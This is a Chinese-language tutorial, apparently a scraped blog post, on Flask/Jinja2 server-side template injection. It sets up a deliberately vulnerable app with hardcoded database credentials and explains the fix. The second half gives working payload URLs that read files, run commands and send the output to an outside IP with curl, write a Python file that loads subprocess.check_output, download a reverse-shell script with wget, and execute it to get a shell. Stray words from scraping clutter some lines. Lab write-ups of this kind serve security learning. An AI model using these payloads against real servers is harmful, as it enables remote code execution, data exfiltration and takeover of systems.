今天学习了python的模板注入,这里本身搭建环境测试如下,参考文章:http://www.freebuf.com/articles/web/136118.htmlhtml
web 程序包括两个文件:python
flask-test.py 和 Config.py 文件linux
#!/usr/bin/env python # -*- coding:utf8 -*- import hashlib import logging from datetime import timedelta from flask import Flask from flask import request from flask import config from flask import session from flask import render_template_string from Config import ProductionConfig app = Flask(__name__) handler = logging.StreamHandler() logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7" app.config.from_object(ProductionConfig) #将配置类中的配置导入程序 app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期 page_size = 60 app.config['UPLOAD_DIR'] = '/var/www/html/upload' app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update' app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/') def hello_world(): return 'Hello World!' @app.errorhandler(404) def page_not_found(e): template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 if __name__ == '__main__': app.run()
Config.py #!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config): pass class TestingConfig(Config): pass class ProductionConfig(Config): HOST = '127.0.0.1' PORT = 65521 DBUSERNAME = 'vpgame' DBPASSWORD = 'win666666' DBNAME = 'vpgame'
kali上搭建有漏洞的flask web服务git
注:以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,咱们知道Flask 中使用了Jinja2 做为模板渲染引擎,{{}}在Jinja2中做为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当作变量解析替换。
github
解决方法:web
将template 中的 ”’<h3> %s!</h3>”’ % request.url 更改成 ”’<h3>{{request.url}}</h3>”’ ,这样以来,Jinja2在模板渲染的时候将request.url的值替换掉{{request.url}}, 而不会对request.url内容进行二次渲染(这样即便request.url中含有{{}}也不会进行渲染,而只是把它当作普通字符串)shell
下面来利用这个漏洞搞点事情:数据库
instance.__class__ 能够获取当前实例的类对象flask
咱们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__能够获取到当前实例对应的类,随便选择一个简单的新浏览器
式类实例,好比”,一个空字符串,就是一个新式类实例,因此”.__class__ 就能够获取到实例对应的类(也就是<type ‘str’>)
class.__mro__ 获取当前类对象的全部继承类'
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象全部继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序
从结果中能够发现”对应的类对象str继承的顺序是basestring->object
每个新式类都保留了它全部的子类的引用,__subclasses__()这个方法返回了类的全部存活的子类的引用(注意是类对象引用,不是实例)
咱们知道python中的类都是继承object的,因此只要调用object类对象的__subclasses__()方法就能够获取咱们想要的类的对象,好比用于读取文件的file对象
经过以上的python代码就可以找到有读文件功能的类(能够加上大小写)
这里找到了file对象来进行文件的读取
这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,经过调用其读文件函数read就能够对文件进行读取了。
2.SSTI 利用之命令执行
咱们还能够在object的全部子类中找能够引入了os模块的类,并以此来执行命令
因为执行命令最终的结果没法回显到浏览器端,所以咱们把结果发送到vps上,好比咱们想执行ls命令,查看当前路径的文件,那么
因此咱们使用payload
http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}
这里使用了linux的管道命令,首先把ls的结果写入到tt.txt中,而后把里面的每个文件名做为参数分别向本身的vps发送请求,因此最终只须要查看本身的vps的访问日志,就能够查看到目标路径下的全部文件名
这里用到了xargs来传递管道参数,xargs的一个选项-I,使用-I指定一个替换字符串{},这个字符串在xargs扩展时会被替换掉,当-I与xargs结合使用,每个参数命令都会被执行一次(注:xargs的详细用法见http://man.linuxde.net/xargs)
利用一样的方法,咱们也能够继续查看其余命令的执行结果
3.SSTI 利用之远程代码执行
若是不能利用os模块在服务器端执行命令,那么还能够利用susprocess模块来执命令,好比利用subprocess的check_output函数
在代码中由于使用了flask.config它是一个相似字典的对象,包含了应用程序全部的配置文件信息(你全部的用app.config.xxx | app.config['xxx'] 配置信息 都在config这个上下文对象中),在不少的例子中,这个config对象包含了不少敏感的信息,好比数据库链接信息,链接第三方服务的SECRET_KEY等
、
使用config.items()就可以得到全部的配置信息
而config.from_object(args)能将其参数所指模块中的大写属性加入config对象实例中,经过执行{{config.from_object('os')}} ,{{config.items()}},就能看到
在这里咱们先把想要调用的命令执行函数做为配置信息,写入一个py文件中
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D
文件写入完成,而后经过config.from_pyfile函数来导入指定py文件中的大写属性加入到config这个上下文对象中(这就是为何用RUNCMD了,大写)
此时check_output函数已经导入,也就是能够执行命令的函数已经导入到了config变量中。
此时远程下载反弹shell的脚本
http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D
此时已经在目标服务器上下载了reverse的py脚本,接下来只须要使其执行便可获得shell
http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D
首先在本身的vps上用nc监听21192端口,而后经过config.from_pyfile来导入反弹shell的脚本,python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就能够执行反弹shell 了
此时已经拿到了目标机器的shell